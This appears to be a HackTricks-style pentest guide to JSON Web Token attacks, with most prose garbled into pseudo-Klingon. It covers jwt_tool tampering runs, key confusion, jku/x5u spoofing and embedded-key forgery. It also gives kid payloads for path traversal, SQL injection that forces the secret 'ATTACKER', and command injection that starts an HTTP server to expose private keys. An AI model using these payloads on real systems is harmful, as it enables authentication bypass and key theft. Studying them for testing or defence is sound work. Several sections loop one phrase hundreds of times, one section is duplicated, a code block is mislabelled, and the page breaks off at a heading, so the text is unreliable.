# JWT Vulnerabilities (Json Web Tokens)
htARTE (HackTricks AWS Red Team Expert) !HackTricks AWS Red Team Expert!
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
![](<../.gitbook/assets/image (638) (3).png>)
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Quick Wins**
Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG..."
```
qaStaHvIS, 'ejwI' vItlhutlhlaHbe'chugh, web application 'e' vItlhutlhlaHbe'chugh JWT qatlh:
![](<../.gitbook/assets/image (435).png>)
vaj, request vItlhutlhlaHbe'chugh proxy vaj jwt\_ tool vItlhutlhlaHbe'chugh request 'e' vItlhutlhlaHbe'chugh JWT vItlhutlhlaHbe'chugh:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Tamper data without modifying anything
**QapHa' tamper data vItlhutlh.** QapHa' tamper data vItlhutlh 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yu
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### New public key inside the header
ghItlhvam 'ej token header vItlhutlh (CVE-2018-0114) token vItlhutlh vItlhutlh.
"JSON Web Tokens" Burp extension vItlhutlh.\
(Repeater vItlhutlh, JSON Web Token tab "CVE-2018-0114" vItlhutlh 'ej vItlhutlh).
### JWKS Spoofing
JWT token security jatlh JWT tokens, jatlh "jku" header claim vItlhutlh. vItlhutlh JWKS (JSON Web Key Set) file vItlhutlh token verification vItlhutlh public key vItlhutlh.
- **"jku" Header vItlhutlh Tokens jatlh**:
- "jku" claim URL vItlhutlh JWKS file vItlhutlh.
- token "jku" value vItlhutlh vItlhutlh controlled web service vItlhutlh traffic observation vItlhutlh.
- **HTTP Interaction vItlhutlh Monitoring**:
- HTTP requests vItlhutlh specified URL vItlhutlh server's attempts vItlhutlh keys fetch vItlhutlh provided link.
- `jwt_tool` vItlhutlh, `jwtconf.ini` file vItlhutlh personal JWKS location vItlhutlh testing vItlhutlh.
- **`jwt_tool` Command**:
- `jwt_tool` vItlhutlh scenario simulate vItlhutlh command vItlhutlh:
```bash
python3 jwt_tool.py JWT_HERE -X s
```
### Kid Issues Overview
`kid` optional header claim vItlhutlh token signature verification vItlhutlh multiple keys exist vItlhutlh identifying a specific key vItlhutlh. token signature verification vItlhutlh appropriate key vItlhutlh select vItlhutlh claim vItlhutlh.
#### "kid" through Key Revealing
`kid` claim vItlhutlh header vItlhutlh, web directory vItlhutlh corresponding file vItlhutlh variations vItlhutlh. example, `"kid":"key/12345"` vItlhutlh, files _/key/12345_ 'ej _/key/12345.pem_ web root vItlhutlh.
#### "kid" with Path Traversal
`kid` claim vItlhutlh file system navigate vItlhutlh exploited vItlhutlh, arbitrary file vItlhutlh select vItlhutlh allowing vItlhutlh. connectivity vItlhutlh execute Server-Side Request Forgery (SSRF) attacks vItlhutlh `kid` value vItlhutlh target specific files vItlhutlh services vItlhutlh. JWT tampering vItlhutlh `kid` value change vItlhutlh original signature retain vItlhutlh `-T` flag jwt_tool vItlhutlh achieve, vItlhutlh:
```bash
python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
#### SQL Injection via "kid"
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
#### OS Injection through "kid"
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u and jku
#### jku
jku stands for **JWK Set URL**.\
If the token uses a β**jku**β **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
**[jwt.io](https://jwt.io)** vItlhutlh **JWT** **chel** **public je private keys** **'ej jku** **parameter** **certificate created** **pointing** **chel** **JWT** **new** **create** **to** **use** **can** **SoH**. **valid jku certificate** **create** **to** **order** **In** **parameters** **needed** **the** **change** **and** **one** **original** **the** **download** **can** **you**
**"e" je "n"** **parameters** **public certificate** **a** **from** **obtain** **can** **you** **SoH**.
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807. Transport security is required to transfer the certificates.
Try to **change this header to an URL under your control** and check if any request is received. In that case you **could tamper the JWT**.
To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys:
#### x5u
X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807. Transport security is required to transfer the certificates.
Try to **change this header to an URL under your control** and check if any request is received. In that case you **could tamper the JWT**.
To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
**jwt.io** (https://jwt.io) vItlh **jwt** **chel** **'ej private keys** **'ej x5u parameter** **certificate .crt created** **jwt** **chel** **'ej **created public** **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **'ej **jwt** **
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Embedded Public Key (CVE-2018-0114)
If the JWT has embedded a public key like in the following scenario:
![](<../.gitbook/assets/image (438).png>)
Using the following nodejs script it's possible to generate a public key from that data:
### qarDaq QaD (CVE-2018-0114)
jwt DaH jatlh public key embedded vaj scenario vay':
![](<../.gitbook/assets/image (438).png>)
nodejs script vaj public key generate laH:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="βANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"β;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
**Klingon Translation:**
**Qapla'!** yIqImuSmoHlaHbe' 'ej yIqImuSmoHlaHbe' 'e' vItlhutlh. **yIqImuSmoHlaHbe'** token vItlhutlh public key, token vItlhutlh public key **yIqImuSmoHlaHbe'** 'ej **yIqImuSmoHlaHbe'** signature vItlhutlh.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
ghItlh "n" je "e" ghaH je nodejs script vItlhutlh.
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
### JTI (JWT ID)
